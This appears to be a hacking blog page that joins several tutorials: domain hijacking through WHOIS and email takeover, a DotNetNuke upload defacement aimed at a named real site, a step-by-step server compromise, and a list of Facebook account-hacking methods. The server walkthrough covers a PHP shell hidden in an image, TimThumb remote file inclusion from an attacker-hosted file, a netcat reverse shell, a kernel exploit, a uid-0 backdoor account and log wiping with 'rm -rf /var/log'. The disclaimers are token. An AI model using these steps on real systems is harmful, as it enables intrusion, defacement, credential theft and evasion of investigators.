How a Domain Name is Hijacked and How to Protect it

In this post I will tell you about how the domain names are hacked and how they can be protected. The act of hacking domain names is commonly known as Domain Hijacking. For most of you, the term “domain hijacking” may seem to be like an alien. So, let me first tell you what domain hijacking is all about.

Domain hijacking is a process by which Internet Domain Names are stolen from its legitimate owners. It is also known as domain theft. Before we can proceed to know how to hijack domain names, it is necessary to understand how the domain names operate and how they get associated with a particular web server (website).

The Operation of a Domain Name is as Follows:

Any website say for example gohacking.com consists of two parts. The domain name (gohacking.com) and the web hosting server where the files of the website are actually hosted. In reality, the domain name and the web hosting server (web server) are two different parts and hence they must be integrated before a website can operate successfully. The integration of domain name with the web hosting server is done as follows:

1. After registering a new domain name, we get a control panel where in we can have a full control of the domain.
2. From this domain control panel, we point our domain name to the web server where the website’s data (web pages, scripts etc.) are actually hosted.

For a clear understanding let me take up a small example:

John registers a new domain called “abc.com” from an X domain registration company. He also purchases a hosting plan from Y hosting company. He uploads all of his files (.html, .php, javascripts etc.) to his web server (at Y). From the domain control panel (of X) he configures his domain name “abc.com” to point to his web server (of Y).

Now, whenever an Internet user types “abc.com”, the domain name “abc.com” is resolved to the target web server and the web page is displayed. This is how a website actually works.

What Happens When a Domain Name is Hijacked?

Now, let us see what happens when a domain name is hijacked. To hijack a domain name, you just need to gain access to the domain control panel and point the domain name to some other web server other than the original one. So, to hijack a domain you need not gain access to the target web server.

For example, a hacker gets access to the domain control panel of  “abc.com”. From here the hacker re-configures the domain name to point it to some other web server (Z). Now whenever an Internet user tries to access “abc.com” he is taken to the hacker’s website (Z) and not to John’s original site (Y).

In this case the John’s domain name (abc.com) is said to be hijacked.

How the Domain Names are Hijacked?

To hijack a domain name, it is necessary to gain access to the domain control panel of the target domain. For this you need the following ingredients:

1. The domain registrar name for the target domain.
2. The administrative email address associated with the target domain.

These information can be obtained by accessing the WHOIS data of the target domain. To get access to the WHOIS data, go to whois.domaintools.com, enter the target domain name and click on Lookup. Once the whois data is loaded, scroll down and you’ll see Whois Record. Under this, you’ll get the “Administrative contact email address”.

To get the domain registrar name, look for the words something like: “Registered through:: XYZ Company”. Here XYZ Company is the domain registrar. In case if you do not find this, scroll up and you’ll see ICANN Registrar under the “Registry Data”. In this case, the ICANN registrar is the actual domain registrar.

The administrative email address associated with the domain is the backdoor to hijack the domain name. It is the key to unlock the domain control panel. So, to take full control of the domain, the hacker will have to hack the administrative email associated with it. 

Once the hacker takes full control of this email account, he will visit the domain registrar’s website and click on forgot password in the login page. There, he will be asked to enter either the domain name or the administrative email address to initiate the password reset process. Once this is done, all the details to reset the password will be sent to the administrative email address.

Since the hacker has the access to this email account, he can easily reset the password of domain control panel. After resetting the password, he logs into the control panel with the new password and from there he can hijack the domain within minutes.

How to Protect the Domain Name from Getting Hijacked?

The best way to protect the domain name is to protect the administrative email account associated with the domain. If you loose this email account, you loose your domain. You can read my earlier post on how to protect your email account from being hacked. Another best way to protect your domain is to go for a private domain registration.

When you register a domain name using the private registration option, all your personal details such as your name, address, phone and administrative email address are hidden from the public.

whenever a hacker performs a WHOIS lookup for your domain name, he will not be able to find your name, phone or the administrative email address. Thus, the private registration provides an extra security and protects your privacy. Even though it costs a few extra bucks, is really is worth for its advantages.

I hope that this article has helped you. You can express your feedback through comments.

[Read More...]

How To Hack Website Using DNN Method

 Today, In This Article I Will Tell About A Web Hacking Method "DNN". DNN Stand's For Dot Net Nuke. This Is The Method By Using Which You Can Hack Website's. In This Tutorial, I Will Tell You That How Can You Add Your Image To Unathorized Website. This Method Is Easy As IIS. If You Don't Know About IIS And Want To Know That Method. Then Click Here. You Don't Need Any Type Of Skills For Hacking Website Using This Method. Enough Talking. Now Start Our Today's Tutorial. Follow Simple Steps To Learn This Method.

Note: This Is Only For Education Purposes. Don't Use For Wrong Aim. HWA Is Not Responsible For Anything What You Do With This Knowledge.
Follow Simple Steps Below To Learn.
1. Open Your Browser And Go To Google.
2. Now Copy Following Dork And Search In Google.
     inurl:"/portals/0? side:...fr 

3. This Dork Will Search Vulnerable Website's With .fr (France) Extention. Choose Any 1 Vulnerable Website From Result And Open It.

I Have A Vulnerable Website Already. Http://www.spinfire.fr

4. Add Following Command At The End Of Vulnerable Website's Url.

providers/htmleditorproviders/fck/fcklinkgallery.aspx

Example: Http://spinfire.fr/providers/htmleditorproviders/fck/fcklinkgallery.aspx

Now You Will See Page Like Following Picture.

 5. Now Check File (A File On Your Site) Option And Wait Untill The Page Refresh Automatically.

6. When It Finishs Refreshing. Then Delete The All The Url Including Command From Url Bar. Now Copy The JavaScript Below And Paste It In Url Bar And Press Enter.

javascript:_doPostBack('crlURL$cmdUpload',") 

When You Will Press The Enter Button. You Will See The Page Like Below Picture.

 Now You Can See The Changes.

7. Click On Browse Button And Find Your Txt File. That You Want To Use As Your Defacement And Select.

8. After Selecting, You Will See Upload Option Like Upload Selected File. Click On Upload Selected FileLink.

 Then Your Text File Will Be Uploaded To Victim Website. CheerZzz.

Now You Can See Your Defacement At http://www.spinfire.fr/portals/0/yourfile.txt

Website/portals/zero/filename.extention

Extention: Write Extention That Your File Have. .JPEG .Txt .Jpg .Png Etc You Are All Done Now. Dont Use Knowledge For Bad Purposes. HWA Is Providing Information Just For Knowledge And You Can Protect Your Self From Being Hacked.

[Read More...]

How to Hack a Server [Shell Uploading, Rooting, Defacing, Covering your Tracks]

Web-Hacking is a huge topic that I could easily discuss for hours.

When I had the idea to expand our Blog’s topics (not only Apple, iPhone, iPad, little tips on Mac and Windows etc….) and add more hacking information, tutorials etc….

So, today I decided to make a good start by creating this post-tutorial: How to Hack a Server

Everything you need to know….

Tools you need:

– Backtrack (Backtrack Website)

– Firefox (get it from here….) – Included in Backtrack and Ubuntu

– Netcat (Included in Backtrack)   — If you are on other linux enviroments get it from here….

– iCon2PHP (Get it from here….)

– A good shell (iCon2PHP Archive includes three great shells)

– A good VPN or Tor (More explanation below…..)

– Acunentix Web Vulnerability Scanner (Search for a cracked version at Hackforums.net)

About the Tools:

Backtrack

— Backtrack is a Linux distribution based on Ubuntu. It includes everything you need to become a good hacker. Apart from this, hacking behind a Linux system is better than a Windows one since most Websites are on Linux Servers.

(Just a little tip: To wirelessly connect to a network use the Wicd Network Manager, located under the Applications->Internet)

Firefox

— Firefox is the best browser for hacking. You can easily configure a proxy and you can download millions of add-ons among which you can find some for Hacking. Find more about “Hacky” addons for Firefox Here….

Netcat

— Netcat is a powerful networking tool. You will need this to root the server….

iCon2PHP & Good Shells

— iCon2PHP is a tool I created and you will use it if you upload the image to an Image Uploader at a Forum or Image Hosting Service. iCon2PHP Archive contains some of the top shells available.

Good VPN or TOR (Proxies are good too…)

— While hacking you need to be anonymous so as not to find you (even if you forget to delete the logs….). A VPN stands for Virtual Private Network and what it does is: hiding your IP, encrypting the data you send and receive to and from the Internet. A good VPN solution for Windows Maschines is ProXPN. However, with VPN connections (especially when you are under a free VPN connection) your connection speen is really slow. So, I wouldn’t recommend VPN except if you pay and get a paid account.

What I would recommend is Tor. Tor can be used from its bundle: Vidalia, which is a great tool for Windows, Mac and Linux that uses Proxies all over its network around the world so as to keep you anonymous and changing these Proxies every 5-10 minutes. I believe it is among the best solutions to keep you anonymous if you don’t want to pay for a Paid VPN account

Apart from Tor, simple Proxies are good but I wouldn’t recommend them as much as I would for Tor.

                — If I listed the above options according to their reliability :                                 

1. Paid VPN Account at ProXPN

2. Tor

3. Free VPN Account at ProXPN

4. Proxy Connection

Acunetix Web Vulnerability Scanner

— Acunetix is (maybe the best) Vulnerability Scanner. It scans for open ports, vulnerabilities, directory listing. During the scan it lists the vulnerabilities and says how a hacker can exploit it and how to patch it. It also shows if it is a small or big vulnerability.

The Consultant Edition (For unlimited websites) costs about 3000-7000$.

____________________________________________________________

Starting the Main Tutorial:

So, here is the route we will follow:

Find a Vulnerable Website –> Upload a c100 Shell (Hidden in an Image with iCon2PHP) –> Rooting the Server –> Defacing the Website –> Covering your Tracks

- – –  Before we begin  – – -

-Boot to Backtrack

-Connect to your VPN or to Tor.

-It would be good to read a complete guide to stay anonymous while hacking here…

-Open Firefox.

1. Finding a Vulnerable Website and Information about it:

Crack Acunetix (find tutorial at Hackforums.net). Open and scan the  website (use the standard profile – don’t modify anything except if you know what you are doing). For this tutorial our website will be:http://www.site.com (not very innovative, I know….)

Let’s say we find a vulnerability where we can upload a remote file (our shell) and have access to the website’s files.

The Warning should be something like this. It can mention other information or be a completely other warning (like for SQL Injection – I will post a Tutorial on this also…), too! (Depends on the Vulnerability) What we need at this tutorial is that we can exploit the ‘File Inclusion Attack’ and Have access to the Website’s Files. (This is not the warning we need for this tutorial, but it is related to what we do too.)

OK. Now, we have the site and the path that the vulnerability is. In our example let’s say it is here:

http://www.site.com/blog/wp-content/themes/theme_name/thumb.php

The above vulnerability affects WordPress blogs that have installed certain plugins or themes and haven’t updated to the latest version of TimThumb, which is a image-editing service on websites.

OK. Acunetix should also mention the OS of the Server. Assuming that ours is a Unix/Linux system (so as to show you how to root it).

For now, we don’t need anything more from Acunetix.

2. Uploading the shell:

Till now, we know:

-The website’s blog has a huge vulnerability at TimThumb.

-It is hosted on a Unix System.

Next, because of the fact that the Vulnerability is located at an outdated TimThumb version, and timthumb is a service to edit images, we need to upload the shell instead of the image.

Thus, download any image (I would recommend a small one) from Google Images. We don’t care what it shows.

Generate Output with iCon2PHP

Copy your Image and your Shell to the Folder that iCon2PHP is located.

Run the Program and follow the in-program instructions to build the ‘finalImage.php’.

To avoid any errors while uploading rename the ‘finalImage.php’ to ‘image.php;.png’ (instead of png, type the image format your image was – jpeg,jpg,gif….) This is the exactly same file but it confuses the uploader and thinks that it actually is an image.

iCon2PHP Terminal Output:

[…]

Enter the Path of your Image:   image.png
Please enter the path to the PHP:   GnYshell.php

Entered!

Valid Files!
[…]
File: ‘finalImage.php’ has been successfully created at the Current Directory…

Upload Output to a Server:

Next, upload your ‘image.php;.png’ at a free server. (000webhost, 0fees etc….)

Go to the vulnerability and type at the URL:

http://www.site.com/blog/wp-content/themes/theme_name/thumb.php?src=http://flickr.com.domain.0fees.net/image.php;.png

It would be better to create a subdomain like “flickr.com” (or other big image-hosting service) because sometimes it doesn’t accept images from other websites.

Website…. Shelled!

OK. Your website is shelled. This means that you should now have your shell uploaded and ready to root the server.
You could easily deface the website now but it would be better if you first rooted the server, so as to cover your tracks quickly.

3. Root the Server:

Now that you have shelled your website we can start the proccess to root the server.

What is rooting when it comes for Server Hacking?
—> Rooting a server is the proccedure when the hacker acquires root priviliges at the whole server. If you don’t understand this yet, I reasure you that by the end of the section “Rooting a server” you will have understood exactly what it is…

Let’s procceed to rooting….

Connect via netcat:
1. Open a port at your router. For this tutorial I will be using 402. (Search Google on how to port forward. It is easier than it seems….)
2. Open Terminal.
3. Type:

netcat

4. Now type:

-l -n -v -p 402

5.It should have an output like this:

listening on [any] 402 port

6. Now, go to the Back-Connection function at the Shell.
7. Complete with the following:

Host:YouIPAddress Port: 402 (or the port you forwarded….)

8. Hit connect and… Voila! Connected to the server!

Downloading and Executing the Kernel exploit:

1. Now, if you type:

whoami

you will see that you are not root yet…
2. To do so we have to download a kernel exploit. The kernel version is mentioned at your shell. Find kernel exploits here….
3. Download it to your HDD and then upload it to the server via the Shell. Unzip first, if zipped….
4. Now do the following exploit preparations:

– The most usual types of exploits:
+++ Perl (.pl extension)
+++ C (.c extension)

(( If the program is in C you have first to compile it by typing: gcc exploit.c -o exploit ))

— Change the permissions of the exploit:
chmod 777 exploit

5. Execute the exploit. Type:

./exploit

6. Root permissions acquired! Type this to ensure:

id

or

whoami

7. Add a new root user:

adduser -u 0 -o -g 0 -G 1,2,3,4,6,10 -M root1
where root1 is your desired username

8. Change the password of the new root user:

passwd root1

SUCCESSFULLY ROOTED!

4. Deface the Website:

What is defacing?
Defacing is the proccedure when the hacker uploads his own inbox webpage to alter the homepage of a site. In this way, he can boost his reputation or parse a message to the people or the company (which owns the website…).

Since you got the website shelled, you just create a nice hacky page in html and upload it via the Shell as inbox.html (Delete or rename the website’s one…)

5. Cover your tracks:

Till now you were under the anonymity of Tor or ProXPN. You were very safe. However, in order to ensure that it will be impossible for the admin to locate you we have to delete logs.

First of all, Unix based-Maschines have some logs that you have better to either edit or delete.
Common Linux log files name and their usage:

/var/log/message: General message and system related stuff
/var/log/auth.log: Authenication logs
/var/log/kern.log: Kernel logs
/var/log/cron.log: Crond logs (cron job)
/var/log/maillog: Mail server logs
/var/log/qmail/ : Qmail log directory (more files inside this directory)
/var/log/httpd/: Apache access and error logs directory
/var/log/lighttpd: Lighttpd access and error logs directory
/var/log/boot.log : System boot log
/var/log/mysqld.log: MySQL database server log file
/var/log/secure: Authentication log
/var/log/utmp or /var/log/wtmp : Login records file
/var/log/yum.log: Yum log files

In short /var/log is the location where you should find all Linux logs file.

To delete all of them by once type:

su root1

rm -rf /var/log
mkdir /var/log

End of this Tutorial:

[Read More...]

I am going to reveal all the  methods that generally hackers can use these methods to How to Hack Facebook Account Password 2015 easily (Educational Purpose Only & Beware from Hackers). My motto of this post beware you from hackers.

I will show number of ways to How to Hack Facebook Account Password for free that all hackers usually use to hack any Facebook Account Password. So beware from hackers and protect your facebook account from hackers. Our site provides only security tips to protect your facebook account from hackers . We sharing only these methods because if you know how to hack you must know how to secure. Must read carefully all these methods, beware from all attacks, and protect your facebook account from hackers.

Note :- This post is only for security purpose don’t try any illigal activity and i’m just shared these methods because protect our facebook account from these types of hacking attacks.

How to Hack Facebook Account 2015

How to Hack Facebook Account 2015

Mostly Hackers use these methods to hack facebook account, So protect yourself from hackers. Must Read this post, and beware from hackers,

1. Hack Facebook Account Password By Phishing

Phishing is still the most popular attack vector used for hacking Facebook accounts. There are variety methods to carry out phishing attack. In a simple phishing attacks a hacker creates a fake log in page which exactly looks like the real Facebook page and then asks the victim to log in. Once the victim log in through the fake page the, the victims “Email Address” and “Password” is stored in to a text file, and the hacker then downloads the text file and gets his hands on the victims credentials.

2. Hack Facebook Account Password By Keylogging

Keylogging is the easiest way to hack a Facebook password. Keylogging sometimes can be so dangerous that even a person with good knowledge of computers can fall for it. A Keylogger is basically a small program which, once is installed on victim’s computer, will record every thing victim types on his/her computer. The logs are then send back to the attacker by either FTP or directly to hackers email address.

3. Stealer’s

Almost 80% percent people use stored passwords in their browser to access the Facebook. This is quite convenient, but can sometimes be extremely dangerous. Stealer’s are software’s specially designed to capture the saved passwords stored in the victims Internet browser.

Latest Tricks :

4. Hack Facebook Account Password By Session Hijacking

Session Hijacking can be often very dangerous if you are accessing Facebook on a http (non secure) connection. In Session Hijacking attack, a hacker steals the victims browser cookie which is used to authenticate the user on a website, and use it to access the victims account. Session hijacking is widely used on LAN, and WiFi connections.

5. Sidejacking With Firesheep

Sidejacking attack went common in late 2010, however it’s still popular now a days. Firesheep is widely used to carry out sidejacking attacks. Firesheep only works when the attacker and victim is on the same WiFi network. A sidejacking attack is basically another name for http session hijacking, but it’s more targeted towards WiFi users.

6. Mobile Phone Hacking

Millions of Facebook users access Facebook through their mobile phones. In case the hacker can gain access to the victims mobile phone then he can probably gain access to his/her Facebook account. Their are a lots of Mobile Spying software’s used to monitor a Cellphone. The most popular Mobile Phone Spying software’s are: Mobile Spy, and Spy Phone Gold.

7. DNS Spoofing

If both the victim and attacker are on the same network, an attacker can use a DNS spoofing attack and change the original Facebook page to his own fake page and hence can get access to victims Facebook account.

8. USB Hacking

If an attacker has physical access to your computer, he could just insert a USB programmed with a function to automatically extract saved passwords in the Internet browser.

9. Man In the Middle Attacks

If the victim and attacker are on the same LAN and on a switch based network, a hacker can place himself between the client and the server, or he could act as a default gateway and hence capturing all the traffic in between.

10. Botnets

Botnets are not commonly used for hacking Facebook accounts, because of it’s high setup costs. They are used to carry more advanced attacks. A Botnet is basically a collection of compromised computer. The infection process is same as the key logging, however a Botnet gives you additional options for carrying out attacks with the compromised computer. Some of the most popular Botnets include Spyeye and Zeus.

All the methods that generally hackers can use these methods to how to hack facebook account password. Mostly hackers use these methods to how to  hack facebook account password , so i’m tell you read these all hacking steps and beware from hackers or any crackers. Don’t do any illigal activity beacuse Hacking is illigal. i’m shared this post only for security purpose. We get numerous emails on a daily basis asking us to how to Hack friends Facebook/E-mail account  If your email falls into any of the above categories we will not help you.

[Read More...]